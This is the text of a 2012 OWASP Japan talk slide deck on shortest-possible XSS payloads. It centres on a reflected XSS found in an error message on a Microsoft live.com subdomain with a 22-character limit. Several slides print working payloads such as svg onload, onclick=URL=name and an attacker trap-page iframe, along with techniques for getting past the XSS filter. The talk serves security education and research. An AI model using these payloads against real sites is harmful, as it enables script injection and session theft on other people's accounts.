---
title: Short talk of XSS - 短いXSSの話 -
tags:  #security #xss #owasp  
author: [はせがわようすけ](https://www.docswell.com/user/hasegawa)
site: [Docswell](https://www.docswell.com/)
thumbnail: https://bcdn.docswell.com/page/LJ1M83WYEG.jpg?width=480
description: OWSP Japan 2nd Local Chapter Meeting資料
published: June 27, 12
canonical: https://www.docswell.com/s/hasegawa/Z8GWNX-short-talk-of-xss
---
# Page. 1

![Page Image](https://bcdn.docswell.com/page/LJ1M83WYEG.jpg)

Short talk of XSS
短いXSSの話
Jun 27 2012
Yosuke HASEGAWA
OWASP Japan 2nd local chapter meeting


# Page. 2

![Page Image](https://bcdn.docswell.com/page/GJW3ZP61J2.jpg)



# Page. 3

![Page Image](https://bcdn.docswell.com/page/4EZV1KYXJ3.jpg)



# Page. 4

![Page Image](https://bcdn.docswell.com/page/Y765LQDPEV.jpg)



# Page. 5

![Page Image](https://bcdn.docswell.com/page/G75Y1R3P74.jpg)



# Page. 6

![Page Image](https://bcdn.docswell.com/page/9J2G1DZZJR.jpg)



# Page. 7

![Page Image](https://bcdn.docswell.com/page/DEYVZ2RNEM.jpg)

What!?


# Page. 8

![Page Image](https://bcdn.docswell.com/page/VJNM38DV78.jpg)

https://*.live.com/?param=><h1>XSSed</h1><!-<!-- Version: "13.000.20177.00" Server:
BAYIDSLEG1C38; DateTime: 2012/05/01 15:13:23 -->
<input type="hidden" value="MESSAGE: A
potentially dangerous Request.QueryString value
was detected from the client
(param="><h1>XSSed</h1><!--").
SOURCE: System.Web FORM:" />
XSS caused by error message


# Page. 9

![Page Image](https://bcdn.docswell.com/page/YE9N9KGVE3.jpg)

Microsoft “live.com”
Over https
Needless error message
Interesting but not really matter now


# Page. 10

![Page Image](https://bcdn.docswell.com/page/GE8K9RV47D.jpg)



# Page. 11

![Page Image](https://bcdn.docswell.com/page/LELZWK5VJR.jpg)

alert is common
knowledge for XSSers


# Page. 12

![Page Image](https://bcdn.docswell.com/page/4JMV923NJW.jpg)



# Page. 13

![Page Image](https://bcdn.docswell.com/page/PJR2GMQ4E9.jpg)

https://*.live.com/?param=><h1>XSSed</h1><!-<!-- Version: "13.000.20177.00" Server:
BAYIDSLEG1C38; DateTime: 2012/05/01 15:13:23 -->
<input type="hidden" value="MESSAGE: A
potentially dangerous Request.QueryString value
was detected from the client
><h1>XSSed</h1><!-(param="><h1>XSSed</h1><!--").
SOURCE: System.Web FORM:" />
22 letters max.


# Page. 14

![Page Image](https://bcdn.docswell.com/page/PEXDXV5Z7X.jpg)

XSS under 22 letters
is too hard
><h1>XSSed</h1><!--
… 19 letters
><script>alert(1)</script>
… 26 letters
><script>eval(name)</script>
… 28 letters


# Page. 15

![Page Image](https://bcdn.docswell.com/page/3EKXWQ6V7D.jpg)



# Page. 16

![Page Image](https://bcdn.docswell.com/page/L7351P8QE5.jpg)

by Gareth Heyes


# Page. 17

![Page Image](https://bcdn.docswell.com/page/87DDXLMW7G.jpg)

XSS Golf
by Gareth Heyes


# Page. 18

![Page Image](https://bcdn.docswell.com/page/VJPXP2RX78.jpg)

Shortest XSS Challanges
19 letters
<x/x=&{eval(name)};
// @0x6D6172696F Netscape 4
22 letters
<svg/onload=eval(name)
// @0x6D6172696F


# Page. 19

![Page Image](https://bcdn.docswell.com/page/2EVL2DR3JQ.jpg)



# Page. 20

![Page Image](https://bcdn.docswell.com/page/57GXRYMYEL.jpg)

https://*.live.com/?param=><h1>XSSed</h1><!-<!-- Version: "13.000.20177.00" Server:
BAYIDSLEG1C38; DateTime: 2012/05/01 15:13:23 -->
<input type="hidden" value="MESSAGE: A
potentially dangerous Request.QueryString value
was detected from the client
><h1>XSSed</h1><!-(param="><h1>XSSed</h1><!--").
SOURCE: System.Web FORM:" />
22 letters max.


# Page. 21

![Page Image](https://bcdn.docswell.com/page/4EQ8VMR6JP.jpg)



# Page. 22

![Page Image](https://bcdn.docswell.com/page/KJ42MV8ME1.jpg)

IE has “URL” property
><i/onclick=URL=name>
… 21 letters
Mario Heiderich’s work
// Trap page created by attacker
<iframe src="target" name="javascript:alert(1)">
// or use window.open from JavaScript


# Page. 23

![Page Image](https://bcdn.docswell.com/page/LE1M832Y7G.jpg)

Did it!
XSS Filter is disabled


# Page. 24

![Page Image](https://bcdn.docswell.com/page/GEW3ZPR1E2.jpg)

Variations
20 letters
<input type=hidden value=><i/onclick=URL=name>
22 letters
<input type=hidden value=""><i/onclick=URL=name>">
17 letters
<input type=text value= onclick=URL=name>
Run arbitrary code in 22 letters


# Page. 25

![Page Image](https://bcdn.docswell.com/page/47ZV1KRXE3.jpg)

Shortest JavaScript
to run arbitrary code
10 letters eval(name)
9 letters
eval(URL)
8 letters
URL=name
6 letters
$(URL)


# Page. 26

![Page Image](https://bcdn.docswell.com/page/YJ65LQRP7V.jpg)

Question?
hasegawa@utf-8.jp
hasegawa@netagent.co.jp
@hasegawayosuke
http://utf-8.jp/
OWASP Japan 2nd local chapter meeting
NetAgent http://www.netagent.co.jp/


# Page. 27

![Page Image](https://bcdn.docswell.com/page/GJ5Y1R8PJ4.jpg)